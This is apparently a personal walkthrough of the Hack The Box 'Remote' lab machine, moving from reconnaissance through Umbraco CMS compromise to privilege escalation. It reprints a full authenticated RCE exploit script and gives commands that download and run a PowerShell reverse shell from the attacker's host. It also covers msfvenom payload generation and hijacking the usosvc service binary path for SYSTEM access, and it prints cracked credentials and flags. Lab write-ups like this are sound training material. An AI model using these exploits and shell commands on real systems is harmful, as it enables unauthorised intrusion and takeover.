Hack The Box write up for Remote

This is my guide to hacking the remote box over at Hack The Box.

Getting the user flag was very time consuming. There were a lot of little steps that need to all go right. Getting root was above my pay grade. I ended up going to the HackTheBox discord forums to get help there. I learned a lot tackling this box. I feel more comfortable moving around powershell and a windows system.

This box was a lot of fun even though there were moments where I wanted to pull my hair out.

Nmap Scan

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 12:31 CDT
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.055s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m22s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-21T17:34:16
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.33 seconds

The initial scan shows a whole bunch of ports. Let's take a look at the website first.

Looks like the Acme Widget company. There is a link to their intranet, but that page didn't show anything useful. The people page shows a bunch of their employees which could be useful for usernames.

I want to see if that FTP is anonymous, but first I'm going to start a dirbuster to see what else they are hosting on that site.

dirb http://remote.htb /usr/share/wordlists/dirb/big.txt

While that is running, I'm going to see if I can get on their ftp with anonymous.

Anonymous worked on their ftp, but there was nothing on the ftp server. I'm going to make a note of this, but move on to something else.

Nmap rpcbind scan

Since the original nmap scan showed several rpcbind ports, we can try an nmap script to see if there are hidden nfs shares.

nmap -sV --script=nfs-showmount -oN nmap.nfs remote.htb

Running this gave us the following:

There is a NFS volume called site_backups. I wonder what could be in this share? Let's find out by trying to mount it.

sudo mount remote.htb:/site_backups /mnt/site_backups/

Nothing imediately jumped out at me looking at the root. Time to drill into some of those directies.

But first, the dirbuster came back with an interesting folder:

http://remote.htb/install

After browsing to that URL it took me to this page:

This is part of the Umbraco CMS system. Let's google for exploits. Oh, I found this nice one.

I need to be administrator on the CMS in order for it to work. Let's go back to the network share and see if we can find anything Umbraco that can help us.

Boom. In the /App_Data folder there is a file called Umbraco.sdf. That is a database file. Let's see if we can run strings and grep for an admin login:

strings Umbraco.sdf | grep admin

Looks like we have a username and a hashed password. The hash type is SHA1. I'm going to try CrackStation to see if I can crack it.

Username: admin@htb.local
Password: baconandcheese

Let's try logging in as admin.

We are in! Now we can try that exploit which looks like a python script. I modified it adding the username/password we found for the admin and the box IP. I'm sure there are ways to inject an exploit directly into the CMS, I decided to try the python script.

Exploit script hell

Getting this exploit script to work was not easy. There are several things you are doing to need to have setup in order to get this to work.

  • Local HTTP server running on port 80
  • metasploit configured to catch the session on port 4444
  • the reverse shell script in the root of the webserver
  • The correct commands for the exploit script

It took me a while to get all of this just right.

First you need to download the exploit script. You can grab it from below:

# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution 
# Date: 2020-03-28
# Exploit Author: Alexandre ZANNI (noraj)
# Based on: https://www.exploit-db.com/exploits/46153
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig


import requests
import re
import argparse

from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(prog='exploit.py',
    description='Umbraco authenticated RCE',
    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
parser.add_argument('-u', '--user', metavar='USER', type=str,
    required=True, dest='user', help='username / email')
parser.add_argument('-p', '--password', metavar='PASS', type=str,
    required=True, dest='password', help='password')
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
    dest='url', help='root URL')
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,
    dest='command', help='command')
parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,
    dest='arguments', help='arguments', default='')
args = parser.parse_args()

# Payload
payload = """\
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
""" % (args.arguments, args.command)

login = args.user
password = args.password
host = args.url

# Process Login
url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
loginfo = { "username": login, "password": password}
s = requests.session()
r2 = s.post(url_login,json=loginfo)

# Go to vulnerable web page
url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
r3 = s.get(url_xslt)

soup = BeautifulSoup(r3.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,
    "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
    "ctl00$body$xsltSelection": payload,
    "ctl00$body$contentPicker$ContentIdValue": "",
    "ctl00$body$visualizeDo": "Visualize+XSLT" }

# Launch the attack
r4 = s.post(url_xslt, data=data, headers=headers)
# Filter output
soup = BeautifulSoup(r4.text, 'html.parser')
CMDOUTPUT = soup.find(id="result").getText()
print(CMDOUTPUT)

Next you'll need to run a local http server. I recommend python. This is what I used.

python SimpleHTTPServer 80

You'll also need to put the mini-reverse.ps1 in the root of that web server. So if you were type type into your browser: http://remote.htb/mini-reverse.ps1, it would download it.

You can download mini-reverse.ps1 from Github. You will also need to modify it with your computer's IP and port. Since we are using 4444 in my example, you should use that.

The first line of my mini-reverse.ps1 script looks like this:

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.26', 4444);

Now we need to get metasploit running to catch the reverse shell.

metasploit
use exploit/multi/handler
set payload payload/windows/x64/shell_reverse.tcp
set LHOST 10.10.14.26
set ExitOnSession false
exploit -j

Make sure you change your LHOST to be your computer's IP.

Okay, now we are ready to run the exploit script. Make sure it is executable and then:

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://remote.htb' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.26/mini-reverse.ps1')"

Again, remember to change the IP to be the same as your computer's IP. If you check your web server running on your computer, you should see the mini-reverse.ps1 download.

You should also see a new session in Metasploit.

In order to interact with this session, you'll need to type:

sessions -i 1

Where the session ID is the session that was created. You can check to see what sessions you have by typing:

sessions

You should now be in a really bad shell. Still, you can go grab the user flag. For me, I just did this:

type c:\users\public\user.txt

Got the user flag:

4ba34f5c3ef7bb216d152e7d06a1e676

Getting the root flag was really hard for me. It took me a few days and some help from the HackTheBox discord forums.

Getting root

If you made it to this point, you already have a not very interactive shell and the user flag. The session for that shell should still be running in metasploit.

Using the shell you got earlier, you can gain root by exploiting USOSVC which is a service running on the box. This is the Update Orschestrator service. We can modify it to run our own executable and then stop and start the service. The service runs as root so we can leverage that to gain control of the box. This is how I did it.

First I fired up msfvenom and gave it this command:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.26 LPORT=4444 -f exe --platform windows > reverse.exe

Put that reverse.exe into the directory that your web server from earlier is running. Remember, we still have a session going with a shell. Go over to that shell and create a temp folder. Then download the reverse.exe on to the box.

cd c:\
md c:\temp
cd c:\temp
powershell.exe -c wget "http://10.10.14.26/reverse.exe" -outfile "c:\temp\reverse.exe"

You should now have the reverse.exe file on the box we want to compromise. Now comes the best part.

sc config usosvc binpath="c:\temp\reverse.exe"
sc stop usosvc
sc start usosvc

If you go check metasploit you should have a new session. If you drop into that session using the:

sessions -i #

Where # is the number of the session that was just created, you should now have root on the box. Plus you have a way better command prompt. If you ever need to get back into metasploit from a shell, just hit control-z and it will let you back into the console.

Got the root flag. Finally!

7bef7fab554db7714e25fec6499dc8e9

This box was very difficult. The user flag was about my level, but the root flag was way hard for me.